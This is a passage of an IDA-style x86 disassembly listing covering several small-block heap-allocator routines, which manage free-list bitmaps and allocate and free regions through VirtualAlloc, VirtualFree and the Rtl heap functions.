		mov	edx, [ebp+var_C]
		test	dl, 1
		mov	[ebp+arg_4], ebx
		jnz	short loc_41E618
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_41E5A6
		push	3Fh
		pop	edx


loc_41E5A6:				; CODE XREF: sub_41E542+5Fj
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_41E5FA
		cmp	edx, 20h
		jnb	short loc_41E5D1
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41E5F2
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41E5F2
; ---------------------------------------------------------------------------


loc_41E5D1:				; CODE XREF: sub_41E542+6Fj
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41E5F2
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41E5F2:				; CODE XREF: sub_41E542+86j
					; sub_41E542+8Dj ...
		mov	ecx, [ebp+var_4]
		mov	ebx, [ebp+arg_4]
		jmp	short loc_41E5FD
; ---------------------------------------------------------------------------


loc_41E5FA:				; CODE XREF: sub_41E542+6Aj
		mov	ecx, [ebp+var_4]


loc_41E5FD:				; CODE XREF: sub_41E542+B6j
		mov	edx, [ebx+8]
		mov	ebx, [ebx+4]
		add	ecx, [ebp+var_C]
		mov	[edx+4], ebx
		mov	edx, [ebp+arg_4]
		mov	[ebp+var_4], ecx
		mov	ebx, [edx+4]
		mov	edx, [edx+8]
		mov	[ebx+8], edx


loc_41E618:				; CODE XREF: sub_41E542+56j
		mov	edx, ecx
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_41E626
		push	3Fh
		pop	edx


loc_41E626:				; CODE XREF: sub_41E542+DFj
		mov	ebx, [ebp+var_8]
		and	ebx, 1
		mov	[ebp+var_C], ebx
		jnz	loc_41E6C9
		sub	esi, [ebp+var_8]
		mov	ebx, [ebp+var_8]
		sar	ebx, 4
		push	3Fh
		mov	[ebp+arg_4], esi
		dec	ebx
		pop	esi
		cmp	ebx, esi
		jbe	short loc_41E64B
		mov	ebx, esi


loc_41E64B:				; CODE XREF: sub_41E542+105j
		add	ecx, [ebp+var_8]
		mov	edx, ecx
		mov	[ebp+var_4], ecx
		sar	edx, 4
		dec	edx
		cmp	edx, esi
		jbe	short loc_41E65D
		mov	edx, esi


loc_41E65D:				; CODE XREF: sub_41E542+117j
		cmp	ebx, edx
		jz	short loc_41E6C4
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		cmp	esi, [ecx+8]
		jnz	short loc_41E6AC
		cmp	ebx, 20h
		jnb	short loc_41E68D
		mov	esi, 80000000h
		mov	ecx, ebx
		shr	esi, cl
		not	esi
		and	[eax+edi*4+44h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_41E6AC
		mov	ecx, [ebp+arg_0]
		and	[ecx], esi
		jmp	short loc_41E6AC
; ---------------------------------------------------------------------------


loc_41E68D:				; CODE XREF: sub_41E542+12Dj
		lea	ecx, [ebx-20h]
		mov	esi, 80000000h
		shr	esi, cl
		not	esi
		and	[eax+edi*4+0C4h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_41E6AC
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], esi


loc_41E6AC:				; CODE XREF: sub_41E542+128j
					; sub_41E542+142j ...
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+8]
		mov	ecx, [ecx+4]
		mov	[esi+4], ecx
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		mov	ecx, [ecx+8]
		mov	[esi+8], ecx


loc_41E6C4:				; CODE XREF: sub_41E542+11Dj
		mov	esi, [ebp+arg_4]
		jmp	short loc_41E6CC
; ---------------------------------------------------------------------------


loc_41E6C9:				; CODE XREF: sub_41E542+EDj
		mov	ebx, [ebp+arg_0]


loc_41E6CC:				; CODE XREF: sub_41E542+185j
		cmp	[ebp+var_C], 0
		jnz	short loc_41E6DA
		cmp	ebx, edx
		jz	loc_41E75B


loc_41E6DA:				; CODE XREF: sub_41E542+18Ej
		mov	ecx, [ebp+var_10]
		mov	ebx, [ecx+edx*8+4]
		lea	ecx, [ecx+edx*8]
		mov	[esi+4], ebx
		mov	[esi+8], ecx
		mov	[ecx+4], esi
		mov	ecx, [esi+4]
		mov	[ecx+8], esi
		mov	ecx, [esi+4]
		cmp	ecx, [esi+8]
		jnz	short loc_41E75B
		mov	cl, [edx+eax+4]
		cmp	edx, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[edx+eax+4], cl
		jnb	short loc_41E732
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E721
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_41E721:				; CODE XREF: sub_41E542+1CFj
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	eax, [eax+edi*4+44h]
		or	[eax], ebx
		jmp	short loc_41E75B
; ---------------------------------------------------------------------------


loc_41E732:				; CODE XREF: sub_41E542+1C9j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E748
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_41E748:				; CODE XREF: sub_41E542+1F4j
		lea	ecx, [edx-20h]
		mov	edx, 80000000h
		shr	edx, cl
		lea	eax, [eax+edi*4+0C4h]
		or	[eax], edx


loc_41E75B:				; CODE XREF: sub_41E542+192j
					; sub_41E542+1B7j ...
		mov	eax, [ebp+var_4]
		mov	[esi], eax
		mov	[eax+esi-4], eax
		mov	eax, [ebp+var_10]
		dec	dword ptr [eax]
		jnz	loc_41E866
		mov	eax, dword_4DFC54
		test	eax, eax
		jz	loc_41E858
		mov	ecx, dword_4DFC4C
		mov	esi, dword_4281CC
		shl	ecx, 0Fh
		add	ecx, [eax+0Ch]
		mov	ebx, 8000h
		push	4000h
		push	ebx
		push	ecx
		call	esi	; VirtualFree
		mov	ecx, dword_4DFC4C
		mov	eax, dword_4DFC54
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax+8], edx
		mov	eax, dword_4DFC54
		mov	ecx, dword_4DFC4C
		mov	eax, [eax+10h]
		and	dword ptr [eax+ecx*4+0C4h], 0
		mov	eax, dword_4DFC54
		mov	eax, [eax+10h]
		dec	byte ptr [eax+43h]
		mov	eax, dword_4DFC54
		mov	ecx, [eax+10h]
		cmp	byte ptr [ecx+43h], 0
		jnz	short loc_41E7E9
		and	dword ptr [eax+4], 0FFFFFFFEh
		mov	eax, dword_4DFC54


loc_41E7E9:				; CODE XREF: sub_41E542+29Cj
		cmp	dword ptr [eax+8], 0FFFFFFFFh
		jnz	short loc_41E858
		push	ebx
		push	0
		push	dword ptr [eax+0Ch]
		call	esi	; VirtualFree
		mov	eax, dword_4DFC54
		push	dword ptr [eax+10h]
		push	0
		push	dword_4DFC64
		call	dword_428150	; RtlFreeHeap
		mov	eax, dword_4DFC58
		mov	edx, dword_4DFC5C
		lea	eax, [eax+eax*4]
		shl	eax, 2
		mov	ecx, eax
		mov	eax, dword_4DFC54
		sub	ecx, eax
		lea	ecx, [ecx+edx-14h]
		push	ecx
		lea	ecx, [eax+14h]
		push	ecx
		push	eax
		call	sub_41D300
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		dec	dword_4DFC58
		cmp	eax, dword_4DFC54
		jbe	short loc_41E84E
		sub	[ebp+arg_0], 14h


loc_41E84E:				; CODE XREF: sub_41E542+306j
		mov	eax, dword_4DFC5C
		mov	dword_4DFC50, eax


loc_41E858:				; CODE XREF: sub_41E542+234j
					; sub_41E542+2ABj
		mov	eax, [ebp+arg_0]
		mov	dword_4DFC4C, edi
		mov	dword_4DFC54, eax


loc_41E866:				; CODE XREF: sub_41E542+38j
					; sub_41E542+227j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E542	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E86B	proc near		; CODE XREF: sub_41B872+77p
					; sub_41BB83+18p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, dword_4DFC58
		mov	edx, dword_4DFC5C
		push	ebx
		push	esi
		lea	eax, [eax+eax*4]
		push	edi
		lea	edi, [edx+eax*4]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		lea	ecx, [eax+17h]
		and	ecx, 0FFFFFFF0h
		mov	[ebp+var_10], ecx
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 20h
		jge	short loc_41E8AB
		or	esi, 0FFFFFFFFh
		shr	esi, cl
		or	[ebp+var_8], 0FFFFFFFFh
		mov	[ebp+var_C], esi
		jmp	short loc_41E8BB
; ---------------------------------------------------------------------------


loc_41E8AB:				; CODE XREF: sub_41E86B+30j
		add	ecx, 0FFFFFFE0h
		or	eax, 0FFFFFFFFh
		xor	esi, esi
		shr	eax, cl
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], eax


loc_41E8BB:				; CODE XREF: sub_41E86B+3Ej
		mov	eax, dword_4DFC50
		mov	ebx, eax
		cmp	ebx, edi
		mov	[ebp+arg_0], ebx
		jnb	short loc_41E8E2


loc_41E8C9:				; CODE XREF: sub_41E86B+75j
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41E8E2
		add	ebx, 14h
		cmp	ebx, [ebp+var_4]
		mov	[ebp+arg_0], ebx
		jb	short loc_41E8C9


loc_41E8E2:				; CODE XREF: sub_41E86B+5Cj
					; sub_41E86B+6Aj
		cmp	ebx, [ebp+var_4]
		jnz	short loc_41E960
		mov	ebx, edx


loc_41E8E9:				; CODE XREF: sub_41E86B+96j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_41E905
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41E903
		add	ebx, 14h
		jmp	short loc_41E8E9
; ---------------------------------------------------------------------------


loc_41E903:				; CODE XREF: sub_41E86B+91j
		cmp	ebx, eax


loc_41E905:				; CODE XREF: sub_41E86B+83j
		jnz	short loc_41E960


loc_41E907:				; CODE XREF: sub_41E86B+ADj
		cmp	ebx, [ebp+var_4]
		jnb	short loc_41E91D
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41E91A
		add	ebx, 14h
		mov	[ebp+arg_0], ebx
		jmp	short loc_41E907
; ---------------------------------------------------------------------------


loc_41E91A:				; CODE XREF: sub_41E86B+A5j
		cmp	ebx, [ebp+var_4]


loc_41E91D:				; CODE XREF: sub_41E86B+9Fj
		jnz	short loc_41E945
		mov	ebx, edx


loc_41E921:				; CODE XREF: sub_41E86B+C6j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_41E935
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41E933
		add	ebx, 14h
		jmp	short loc_41E921
; ---------------------------------------------------------------------------


loc_41E933:				; CODE XREF: sub_41E86B+C1j
		cmp	ebx, eax


loc_41E935:				; CODE XREF: sub_41E86B+BBj
		jnz	short loc_41E945
		call	sub_41EB74
		mov	ebx, eax
		test	ebx, ebx
		mov	[ebp+arg_0], ebx
		jz	short loc_41E959


loc_41E945:				; CODE XREF: sub_41E86B:loc_41E91Dj
					; sub_41E86B:loc_41E935j
		push	ebx
		call	sub_41EC25
		pop	ecx
		mov	ecx, [ebx+10h]
		mov	[ecx], eax
		mov	eax, [ebx+10h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_41E960


loc_41E959:				; CODE XREF: sub_41E86B+D8j
		xor	eax, eax
		jmp	loc_41EB6F
; ---------------------------------------------------------------------------


loc_41E960:				; CODE XREF: sub_41E86B+7Aj
					; sub_41E86B:loc_41E905j ...
		mov	dword_4DFC50, ebx
		mov	eax, [ebx+10h]
		mov	edx, [eax]
		cmp	edx, 0FFFFFFFFh
		mov	[ebp+var_4], edx
		jz	short loc_41E987
		mov	ecx, [eax+edx*4+0C4h]
		mov	edi, [eax+edx*4+44h]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41E9BE


loc_41E987:				; CODE XREF: sub_41E86B+106j
		mov	edx, [eax+0C4h]
		mov	esi, [eax+44h]
		and	edx, [ebp+var_8]
		and	esi, [ebp+var_C]
		and	[ebp+var_4], 0
		lea	ecx, [eax+44h]
		or	edx, esi
		mov	esi, [ebp+var_C]
		jnz	short loc_41E9BB


loc_41E9A4:				; CODE XREF: sub_41E86B+14Ej
		mov	edx, [ecx+84h]
		inc	[ebp+var_4]
		and	edx, [ebp+var_8]
		add	ecx, 4
		mov	edi, esi
		and	edi, [ecx]
		or	edx, edi
		jz	short loc_41E9A4


loc_41E9BB:				; CODE XREF: sub_41E86B+137j
		mov	edx, [ebp+var_4]


loc_41E9BE:				; CODE XREF: sub_41E86B+11Aj
		mov	ecx, edx
		xor	edi, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+edx*4+44h]
		and	ecx, esi
		jnz	short loc_41E9E7
		mov	ecx, [eax+edx*4+0C4h]
		push	20h
		and	ecx, [ebp+var_8]
		pop	edi


loc_41E9E7:				; CODE XREF: sub_41E86B+16Dj
					; sub_41E86B+183j
		test	ecx, ecx
		jl	short loc_41E9F0
		shl	ecx, 1
		inc	edi
		jmp	short loc_41E9E7
; ---------------------------------------------------------------------------


loc_41E9F0:				; CODE XREF: sub_41E86B+17Ej
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+edi*8+4]
		mov	ecx, [edx]
		sub	ecx, [ebp+var_10]
		mov	esi, ecx
		mov	[ebp+var_8], ecx
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jle	short loc_41EA0D
		push	3Fh
		pop	esi


loc_41EA0D:				; CODE XREF: sub_41E86B+19Dj
		cmp	esi, edi
		jz	loc_41EB22
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41EA7E
		cmp	edi, 20h
		jge	short loc_41EA4D
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		not	ebx
		mov	[ebp+var_14], ebx
		and	ebx, [eax+ecx*4+44h]
		mov	[eax+ecx*4+44h], ebx
		dec	byte ptr [edi]
		jnz	short loc_41EA7B
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx], ecx
		jmp	short loc_41EA7E
; ---------------------------------------------------------------------------


loc_41EA4D:				; CODE XREF: sub_41E86B+1B5j
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		lea	ecx, [eax+ecx*4+0C4h]
		not	ebx
		and	[ecx], ebx
		dec	byte ptr [edi]
		mov	[ebp+var_14], ebx
		jnz	short loc_41EA7B
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx+4], ecx
		jmp	short loc_41EA7E
; ---------------------------------------------------------------------------


loc_41EA7B:				; CODE XREF: sub_41E86B+1D6j
					; sub_41E86B+203j
		mov	ebx, [ebp+arg_0]


loc_41EA7E:				; CODE XREF: sub_41E86B+1B0j
					; sub_41E86B+1E0j ...
		mov	ecx, [edx+8]
		mov	edi, [edx+4]
		cmp	[ebp+var_8], 0
		mov	[ecx+4], edi
		mov	ecx, [edx+4]
		mov	edi, [edx+8]
		mov	[ecx+8], edi
		jz	loc_41EB2E
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[edx+4], edi
		mov	[edx+8], ecx
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41EB1F
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_0+3],	cl
		jge	short loc_41EAF0
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41EADE
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		or	[ebx], edi


loc_41EADE:				; CODE XREF: sub_41E86B+266j
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+var_4]
		or	[eax+ecx*4+44h], edi
		jmp	short loc_41EB1F
; ---------------------------------------------------------------------------


loc_41EAF0:				; CODE XREF: sub_41E86B+25Aj
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41EB09
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		or	[ebx+4], edi


loc_41EB09:				; CODE XREF: sub_41E86B+28Fj
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+ecx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	esi, 80000000h
		shr	esi, cl
		or	[edi], esi


loc_41EB1F:				; CODE XREF: sub_41E86B+24Ej
					; sub_41E86B+283j
		mov	ecx, [ebp+var_8]


loc_41EB22:				; CODE XREF: sub_41E86B+1A4j
		test	ecx, ecx
		jz	short loc_41EB31
		mov	[edx], ecx
		mov	[ecx+edx-4], ecx
		jmp	short loc_41EB31
; ---------------------------------------------------------------------------


loc_41EB2E:				; CODE XREF: sub_41E86B+229j
		mov	ecx, [ebp+var_8]


loc_41EB31:				; CODE XREF: sub_41E86B+2B9j
					; sub_41E86B+2C1j
		mov	esi, [ebp+var_10]
		add	edx, ecx
		lea	ecx, [esi+1]
		mov	[edx], ecx
		mov	[edx+esi-4], ecx
		mov	esi, [ebp+var_C]
		mov	ecx, [esi]
		test	ecx, ecx
		lea	edi, [ecx+1]
		mov	[esi], edi
		jnz	short loc_41EB67
		cmp	ebx, dword_4DFC54
		jnz	short loc_41EB67
		mov	ecx, [ebp+var_4]
		cmp	ecx, dword_4DFC4C
		jnz	short loc_41EB67
		and	dword_4DFC54, 0


loc_41EB67:				; CODE XREF: sub_41E86B+2E0j
					; sub_41E86B+2E8j ...
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		lea	eax, [edx+4]


loc_41EB6F:				; CODE XREF: sub_41E86B+F0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E86B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EB74	proc near		; CODE XREF: sub_41E86B+CCp
		mov	eax, dword_4DFC58
		mov	ecx, dword_4DFC48
		push	esi
		push	edi
		xor	edi, edi
		cmp	eax, ecx
		jnz	short loc_41EBB7
		lea	eax, [ecx+ecx*4+50h]
		shl	eax, 2
		push	eax
		push	dword_4DFC5C
		push	edi
		push	dword_4DFC64
		call	dword_4281A4	; RtlReAllocateHeap
		cmp	eax, edi
		jz	short loc_41EC07
		add	dword_4DFC48, 10h
		mov	dword_4DFC5C, eax
		mov	eax, dword_4DFC58


loc_41EBB7:				; CODE XREF: sub_41EB74+11j
		mov	ecx, dword_4DFC5C
		push	41C4h
		push	8
		lea	eax, [eax+eax*4]
		push	dword_4DFC64
		lea	esi, [ecx+eax*4]
		call	dword_428154	; RtlAllocateHeap
		cmp	eax, edi
		mov	[esi+10h], eax
		jz	short loc_41EC07
		push	4
		push	2000h
		push	100000h
		push	edi
		call	dword_4281D0	; VirtualAlloc
		cmp	eax, edi
		mov	[esi+0Ch], eax
		jnz	short loc_41EC0B
		push	dword ptr [esi+10h]
		push	edi
		push	dword_4DFC64
		call	dword_428150	; RtlFreeHeap


loc_41EC07:				; CODE XREF: sub_41EB74+30j
					; sub_41EB74+67j
		xor	eax, eax
		jmp	short loc_41EC22
; ---------------------------------------------------------------------------


loc_41EC0B:				; CODE XREF: sub_41EB74+81j
		or	dword ptr [esi+8], 0FFFFFFFFh
		mov	[esi], edi
		mov	[esi+4], edi
		inc	dword_4DFC58
		mov	eax, [esi+10h]
		or	dword ptr [eax], 0FFFFFFFFh
		mov	eax, esi


loc_41EC22:				; CODE XREF: sub_41EB74+95j
		pop	edi
		pop	esi
		retn
sub_41EB74	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EC25	proc near		; CODE XREF: sub_41E86B+DBp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, [ecx+10h]
		mov	eax, [ecx+8]
		xor	ebx, ebx


loc_41EC37:				; CODE XREF: sub_41EC25+19j
		test	eax, eax
		jl	short loc_41EC40
		shl	eax, 1
		inc	ebx
		jmp	short loc_41EC37
; ---------------------------------------------------------------------------


loc_41EC40:				; CODE XREF: sub_41EC25+14j
		mov	eax, ebx
		push	3Fh
		imul	eax, 204h
		pop	edx
		lea	eax, [eax+esi+144h]
		mov	[ebp+var_4], eax


loc_41EC55:				; CODE XREF: sub_41EC25+3Aj
		mov	[eax+8], eax
		mov	[eax+4], eax
		add	eax, 8
		dec	edx
		jnz	short loc_41EC55
		mov	edi, ebx
		push	4
		shl	edi, 0Fh
		add	edi, [ecx+0Ch]
		push	1000h
		push	8000h
		push	edi
		call	dword_4281D0	; VirtualAlloc
		test	eax, eax
		jnz	short loc_41EC88
		or	eax, 0FFFFFFFFh
		jmp	loc_41ED1B
; ---------------------------------------------------------------------------


loc_41EC88:				; CODE XREF: sub_41EC25+59j
		lea	edx, [edi+7000h]
		cmp	edi, edx
		ja	short loc_41ECCE
		lea	eax, [edi+10h]


loc_41EC95:				; CODE XREF: sub_41EC25+A7j
		or	dword ptr [eax-8], 0FFFFFFFFh
		or	dword ptr [eax+0FECh], 0FFFFFFFFh
		lea	ecx, [eax+0FFCh]
		mov	dword ptr [eax-4], 0FF0h
		mov	[eax], ecx
		lea	ecx, [eax-1004h]
		mov	[eax+4], ecx
		mov	dword ptr [eax+0FE8h], 0FF0h
		add	eax, 1000h
		lea	ecx, [eax-10h]
		cmp	ecx, edx
		jbe	short loc_41EC95


loc_41ECCE:				; CODE XREF: sub_41EC25+6Bj
		mov	eax, [ebp+var_4]
		lea	ecx, [edi+0Ch]
		add	eax, 1F8h
		push	1
		pop	edi
		mov	[eax+4], ecx
		mov	[ecx+8], eax
		lea	ecx, [edx+0Ch]
		mov	[eax+8], ecx
		mov	[ecx+4], eax
		and	dword ptr [esi+ebx*4+44h], 0
		mov	[esi+ebx*4+0C4h], edi
		mov	al, [esi+43h]
		mov	cl, al
		inc	cl
		test	al, al
		mov	eax, [ebp+arg_0]
		mov	[esi+43h], cl
		jnz	short loc_41ED0B
		or	[eax+4], edi


loc_41ED0B:				; CODE XREF: sub_41EC25+E1j
		mov	edx, 80000000h
		mov	ecx, ebx
		shr	edx, cl
		not	edx
		and	[eax+8], edx
		mov	eax, ebx


loc_41ED1B:				; CODE XREF: sub_41EC25+5Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EC25	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ED20	proc near		; CODE XREF: sub_41B872+6Ap

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		mov	eax, [ebp+arg_8]
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	edx, edi
		lea	esi, [eax+17h]
		sub	edx, [ecx+0Ch]
		mov	eax, [ecx+10h]
		and	esi, 0FFFFFFF0h
		shr	edx, 0Fh
		mov	ecx, edx
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [edi-4]
		dec	ecx
		cmp	esi, ecx
		mov	[ebp+arg_8], ecx
		mov	ebx, [ecx+edi-4]
		lea	edi, [ecx+edi-4]
		mov	[ebp+var_4], ebx
		jle	loc_41EECE
		test	bl, 1
		jnz	loc_41EEC7
		add	ebx, ecx
		cmp	esi, ebx
		jg	loc_41EEC7
		mov	ecx, [ebp+var_4]
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 3Fh
		mov	[ebp+var_8], ecx
		jbe	short loc_41ED97
		push	3Fh
		pop	ecx
		mov	[ebp+var_8], ecx


loc_41ED97:				; CODE XREF: sub_41ED20+6Fj
		mov	ebx, [edi+4]
		cmp	ebx, [edi+8]
		jnz	short loc_41EDE7
		cmp	ecx, 20h
		jnb	short loc_41EDC3
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41EDE7
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41EDE7
; ---------------------------------------------------------------------------


loc_41EDC3:				; CODE XREF: sub_41ED20+82j
		add	ecx, 0FFFFFFE0h
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41EDE7
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41EDE7:				; CODE XREF: sub_41ED20+7Dj
					; sub_41ED20+9Aj ...
		mov	ecx, [edi+8]
		mov	ebx, [edi+4]
		mov	[ecx+4], ebx
		mov	ecx, [edi+4]
		mov	edi, [edi+8]
		mov	[ecx+8], edi
		mov	ecx, [ebp+arg_8]
		sub	ecx, esi
		add	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0
		jle	loc_41EEB5
		mov	edi, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		sar	edi, 4
		dec	edi
		lea	ecx, [ecx+esi-4]
		cmp	edi, 3Fh
		jbe	short loc_41EE21
		push	3Fh
		pop	edi


loc_41EE21:				; CODE XREF: sub_41ED20+FCj
		mov	ebx, [ebp+var_C]
		lea	ebx, [ebx+edi*8]
		mov	[ebp+arg_8], ebx
		mov	ebx, [ebx+4]
		mov	[ecx+4], ebx
		mov	ebx, [ebp+arg_8]
		mov	[ecx+8], ebx
		mov	[ebx+4], ecx
		mov	ebx, [ecx+4]
		mov	[ebx+8], ecx
		mov	ebx, [ecx+4]
		cmp	ebx, [ecx+8]
		jnz	short loc_41EEA3
		mov	cl, [edi+eax+4]
		cmp	edi, 20h
		mov	byte ptr [ebp+arg_8+3],	cl
		inc	cl
		mov	[edi+eax+4], cl
		jnb	short loc_41EE7A
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41EE6D
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_41EE6D:				; CODE XREF: sub_41ED20+13Dj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, edi
		jmp	short loc_41EE9F
; ---------------------------------------------------------------------------


loc_41EE7A:				; CODE XREF: sub_41ED20+137j
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41EE90
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_41EE90:				; CODE XREF: sub_41ED20+15Ej
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [edi-20h]
		mov	edx, 80000000h


loc_41EE9F:				; CODE XREF: sub_41ED20+158j
		shr	edx, cl
		or	[eax], edx


loc_41EEA3:				; CODE XREF: sub_41ED20+125j
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		lea	eax, [edx+esi-4]
		mov	[eax], ecx
		mov	[ecx+eax-4], ecx
		jmp	short loc_41EEB8
; ---------------------------------------------------------------------------


loc_41EEB5:				; CODE XREF: sub_41ED20+E5j
		mov	edx, [ebp+arg_4]


loc_41EEB8:				; CODE XREF: sub_41ED20+193j
		lea	eax, [esi+1]
		mov	[edx-4], eax
		mov	[edx+esi-8], eax
		jmp	loc_41F00E
; ---------------------------------------------------------------------------


loc_41EEC7:				; CODE XREF: sub_41ED20+52j
					; sub_41ED20+5Cj
		xor	eax, eax
		jmp	loc_41F011
; ---------------------------------------------------------------------------


loc_41EECE:				; CODE XREF: sub_41ED20+49j
		jge	loc_41F00E
		mov	ebx, [ebp+arg_4]
		sub	[ebp+arg_8], esi
		lea	ecx, [esi+1]
		mov	[ebx-4], ecx
		lea	ebx, [ebx+esi-4]
		mov	esi, [ebp+arg_8]
		mov	[ebp+arg_4], ebx
		sar	esi, 4
		dec	esi
		mov	[ebx-4], ecx
		cmp	esi, 3Fh
		jbe	short loc_41EEF9
		push	3Fh
		pop	esi


loc_41EEF9:				; CODE XREF: sub_41ED20+1D4j
		test	byte ptr [ebp+var_4], 1
		jnz	loc_41EF88
		mov	esi, [ebp+var_4]
		sar	esi, 4
		dec	esi
